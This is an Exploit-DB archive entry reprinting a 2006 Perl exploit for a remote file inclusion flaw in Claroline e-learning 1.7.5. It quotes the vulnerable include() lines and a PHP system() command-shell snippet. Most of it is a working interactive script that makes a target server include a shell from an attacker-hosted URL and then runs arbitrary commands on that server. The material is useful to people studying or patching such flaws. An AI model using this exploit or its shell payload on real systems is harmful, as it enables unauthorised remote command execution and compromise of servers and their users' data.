Exploit-DB #1766
Description: Claroline E-Learning 1.75 - 'ldap.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-08
Author: beford

Exploit:
#!/usr/bin/perl
############
# Claroline Open Source e-Learning  1.7.5 Remote File Include
# Exploit & Advisorie:  beford <xbefordx gmail com>
#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>
# 		perl own.pl http://host.com/claroline/auth/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.claroline.net
# The file claroline/auth/extauth/drivers/ldap.inc.php uses the variable 
# clarolineRepositorySys in a include() function without being declared. 
# There are other files vulnerable in the same folder, this exploit only
# attacks ldap.inc.php
#
# There is other vulnerable file claroline/auth/extauth/casProcess.inc.php
# it uses the claro_CasLibPath in a include function but this is not being
# declared either, so pwnt, RFI. Vendor was contacted through email, 
# no response, so i just posted this here and on its forum.
############
# Vulnerable code (lda.inc.php)
############
# return require $clarolineRepositorySys.'/auth/extauth/extAuthProcess.inc.php';
############
# Vulnerable code (casProcess.inc.php)
############
#if (   ! isset($_SESSION['init_CasCheckinDone'] )
#    || $logout
#    || ( basename($_SERVER['SCRIPT_NAME']) == 'login.php' && isset($_REQUEST['authModeReq']) && $_REQUEST['authModeReq'] == 'CAS' )
#    || isset($_REQUEST['fromCasServer']) )
#{
#    include_once $claro_CasLibPath;
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
	print "[shell] \$";
	while(<STDIN>)      {
		$cmd=$_;
		chomp($cmd);
		if (!$cmd) {last;}  
		$xpl = LWP::UserAgent->new() or die;
		$req = HTTP::Request->new(GET =>$Path.'extauth/drivers/ldap.inc.php?clarolineRepositorySys='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
		$res = $xpl->request($req);
		$return = $res->content;
		$return =~ tr/[\n]/[ê]/;
		if ($return =~/Error: HTTP request failed!/ ) {
			print "\nInvalid path for phpshell\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nInvalid Command, error.\n\n";
		}
		if ($return =~ /(.*)/) {
			$finreturn = $1;
			$finreturn=~ tr/[ê]/[\n]/;
			print "\r\n$finreturn\n\r";
			last;
		} else {
			print "[shell] \$";
		}
	}
} last;

sub head()  { 
	print "\n============================================================================\r\n";
	print "  Claroline Open Source e-Learning  1.7.5 Remote File Include\r\n";
	print "============================================================================\r\n";
 }
 
sub usage() {
	head();
	print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
	print " <host> - Full Path to Authentication Dir : http://host/claroline/auth/do \r\n";
	print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
	print " <var> - var name used in phpshell : cmd  \r\n\r\n";
	exit();
 }

# milw0rm.com [2006-05-08]